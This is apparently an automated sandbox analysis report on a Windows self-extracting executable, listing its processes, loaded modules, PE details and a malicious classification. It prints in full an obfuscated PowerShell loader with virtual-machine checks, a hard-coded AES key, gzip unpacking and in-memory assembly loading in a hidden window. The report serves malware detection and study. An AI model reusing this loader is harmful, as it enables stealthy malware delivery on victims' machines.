Windows Analysis Report
XgKnAQpuPM.exe

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D11D10	0_2_00007FF776D11D10
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D16F14	0_2_00007FF776D16F14
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D168F0	0_2_00007FF776D168F0
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D141B4	0_2_00007FF776D141B4
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D12F7B	0_2_00007FF776D12F7B
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D15F80	0_2_00007FF776D15F80
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D11BF4	0_2_00007FF776D11BF4
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D15F7E	0_2_00007FF776D15F7E
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Code function: 0_2_00007FF776D1366E	0_2_00007FF776D1366E

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3352 -s 1576

Source: XgKnAQpuPM.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 3397176 bytes, 1 file, at 0x2c +A "vclib.bat", ID 885, number 1, 157 datablocks, 0x1503 compression

Source: XgKnAQpuPM.exe	Binary or memory string: OriginalFilename vs XgKnAQpuPM.exe
Source: XgKnAQpuPM.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs XgKnAQpuPM.exe

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2701
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2701			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 3352, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal92.expl.evad.winEXE@14/11@1/0

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D16F14 GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00007FF776D16F14

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D11BF4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

0_2_00007FF776D11BF4

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

0_2_00007FF776D16F14

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D12F7B CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceExA,LoadResource,#17,

0_2_00007FF776D12F7B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6736:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\7749332
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3352

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Process created: C:\Windows\System32\cmd.exe cmd /c "vclib.bat"

Source: XgKnAQpuPM.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"

Source: unknown	Process created: C:\Users\user\Desktop\XgKnAQpuPM.exe "C:\Users\user\Desktop\XgKnAQpuPM.exe"
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "vclib.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function FpxON($kXGHT){ $MjRuR=[System.Security.Cryptography.Aes]::Create(); $MjRuR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MjRuR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MjRuR.Key=[System.Convert]::FromBase64String('j3+l8MVXgSNKBboFFtDIY9ifLLQEhU8Shlqb9W611kU='); $MjRuR.IV=[System.Convert]::FromBase64String('C7Dlt1nshFAIyjxeP0iXIQ=='); $WVvmF=$MjRuR.CreateDecryptor(); $CVTyC=$WVvmF.TransformFinalBlock($kXGHT, 0, $kXGHT.Length); $WVvmF.Dispose(); $MjRuR.Dispose(); $CVTyC;}function ogptr($kXGHT){ Invoke-Expression '$bJDne=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$kXGHT);'.Replace('blck', ''); Invoke-Expression '$eTtPQ=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck', ''); Invoke-Expression '$gtTnv=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($bJDne, [blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck', ''); $gtTnv.CopyTo($eTtPQ); $gtTnv.Dispose(); $bJDne.Dispose(); $eTtPQ.Dispose(); $eTtPQ.ToArray();}function VcYYT($kXGHT,$GOojW){ Invoke-Expression '$CHMLi=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$kXGHT);'.Replace('blck', ''); Invoke-Expression '$WMCoT=$CHMLi.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression '$WMCoT.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $GOojW)blck;'.Replace('blck', '');}$YesWH = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat';$host.UI.RawUI.WindowTitle = $YesWH;$lzgCG=[System.IO.File]::ReadAllText($YesWH).Split([Environment]::NewLine);foreach ($zwDbB in $lzgCG) { if ($zwDbB.StartsWith(':: ')) { $gGIZq=$zwDbB.Substring(3); break; }}$nciXK=[string[]]$gGIZq.Split('\');Invoke-Expression '$mmTjj=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[0])));'.Replace('blck', '');Invoke-Expression '$gDpGZ=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[1])));'.Replace('blck', '');VcYYT $mmTjj (,[string[]] (''));VcYYT $gDpGZ (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3352 -s 1576
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "vclib.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function FpxON($kXGHT){ $MjRuR=[System.Security.Cryptography.Aes]::Create(); $MjRuR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MjRuR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MjRuR.Key=[System.Convert]::FromBase64String('j3+l8MVXgSNKBboFFtDIY9ifLLQEhU8Shlqb9W611kU='); $MjRuR.IV=[System.Convert]::FromBase64String('C7Dlt1nshFAIyjxeP0iXIQ=='); $WVvmF=$MjRuR.CreateDecryptor(); $CVTyC=$WVvmF.TransformFinalBlock($kXGHT, 0, $kXGHT.Length); $WVvmF.Dispose(); $MjRuR.Dispose(); $CVTyC;}function ogptr($kXGHT){ Invoke-Expression '$bJDne=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$kXGHT);'.Replace('blck', ''); Invoke-Expression '$eTtPQ=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck', ''); Invoke-Expression '$gtTnv=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($bJDne, [blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck', ''); $gtTnv.CopyTo($eTtPQ); $gtTnv.Dispose(); $bJDne.Dispose(); $eTtPQ.Dispose(); $eTtPQ.ToArray();}function VcYYT($kXGHT,$GOojW){ Invoke-Expression '$CHMLi=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$kXGHT);'.Replace('blck', ''); Invoke-Expression '$WMCoT=$CHMLi.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression '$WMCoT.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $GOojW)blck;'.Replace('blck', '');}$YesWH = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat';$host.UI.RawUI.WindowTitle = $YesWH;$lzgCG=[System.IO.File]::ReadAllText($YesWH).Split([Environment]::NewLine);foreach ($zwDbB in $lzgCG) { if ($zwDbB.StartsWith(':: ')) { $gGIZq=$zwDbB.Substring(3); break; }}$nciXK=[string[]]$gGIZq.Split('\');Invoke-Expression '$mmTjj=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[0])));'.Replace('blck', '');Invoke-Expression '$gDpGZ=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[1])));'.Replace('blck', '');VcYYT $mmTjj (,[string[]] (''));VcYYT $gDpGZ (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dbgcore.dll	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains potential unpacker

Source: XgKnAQpuPM.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: XgKnAQpuPM.exe

Static file information: File size 3571712 > 1048576

Source: XgKnAQpuPM.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x359000

Source: XgKnAQpuPM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: XgKnAQpuPM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: XgKnAQpuPM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: XgKnAQpuPM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: XgKnAQpuPM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: XgKnAQpuPM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: XgKnAQpuPM.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: XgKnAQpuPM.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Configuration.Install.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Data.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: wextract.pdb source: XgKnAQpuPM.exe
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.DirectoryServices.ni.pdbRSDS source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Configuration.Install.ni.pdbRSDSQ source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Core.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Numerics.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.DirectoryServices.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.Management.Infrastructure.pdbl source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.ni.pdbRSDS[q source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: mscorlib.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Configuration.Install.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.Management.Infrastructure.ni.pdbRSDS source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.ni.pdbRSDS source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.PowerShell.Security.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Xml.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.PowerShell.Security.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: wextract.pdbGCTL source: XgKnAQpuPM.exe
Source:	Binary string: System.ni.pdbRSDS source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.CSharp.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.DirectoryServices.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Xml.pdbP4~ source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Configuration.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Configuration.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Data.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Data.ni.pdbRSDSC source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Configuration.Install.pdbP source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Xml.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.DirectoryServices.pdb` source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Management.Automation.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Data.pdbH source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Management.Automation.ni.pdbRSDS source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Management.Automation.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: mscorlib.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.PowerShell.Security.ni.pdbRSDS~ source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Management.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.Management.Infrastructure.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Management.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Core.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Transactions.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.Management.Infrastructure.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Transactions.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Transactions.ni.pdbRSDS source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Numerics.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.ni.pdb source: WERAC0C.tmp.dmp.10.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERAC0C.tmp.dmp.10.dr

Source: XgKnAQpuPM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: XgKnAQpuPM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: XgKnAQpuPM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: XgKnAQpuPM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: XgKnAQpuPM.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Source: 7.2.powershell.exe.1c691b00b88.3.raw.unpack, ---.cs

.Net Code: _F6A9_24CA_2622_EF60_FFFD System.Reflection.Assembly.Load(byte[])

Suspicious command line found

Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function FpxON($kXGHT){ $MjRuR=[System.Security.Cryptography.Aes]::Create(); $MjRuR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MjRuR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MjRuR.Key=[System.Convert]::FromBase64String('j3+l8MVXgSNKBboFFtDIY9ifLLQEhU8Shlqb9W611kU='); $MjRuR.IV=[System.Convert]::FromBase64String('C7Dlt1nshFAIyjxeP0iXIQ=='); $WVvmF=$MjRuR.CreateDecryptor(); $CVTyC=$WVvmF.TransformFinalBlock($kXGHT, 0, $kXGHT.Length); $WVvmF.Dispose(); $MjRuR.Dispose(); $CVTyC;}function ogptr($kXGHT){ Invoke-Expression '$bJDne=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$kXGHT);'.Replace('blck', ''); Invoke-Expression '$eTtPQ=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck', ''); Invoke-Expression '$gtTnv=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($bJDne, [blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck', ''); $gtTnv.CopyTo($eTtPQ); $gtTnv.Dispose(); $bJDne.Dispose(); $eTtPQ.Dispose(); $eTtPQ.ToArray();}function VcYYT($kXGHT,$GOojW){ Invoke-Expression '$CHMLi=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$kXGHT);'.Replace('blck', ''); Invoke-Expression '$WMCoT=$CHMLi.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression '$WMCoT.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $GOojW)blck;'.Replace('blck', '');}$YesWH = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat';$host.UI.RawUI.WindowTitle = $YesWH;$lzgCG=[System.IO.File]::ReadAllText($YesWH).Split([Environment]::NewLine);foreach ($zwDbB in $lzgCG) { if ($zwDbB.StartsWith(':: ')) { $gGIZq=$zwDbB.Substring(3); break; }}$nciXK=[string[]]$gGIZq.Split('\');Invoke-Expression 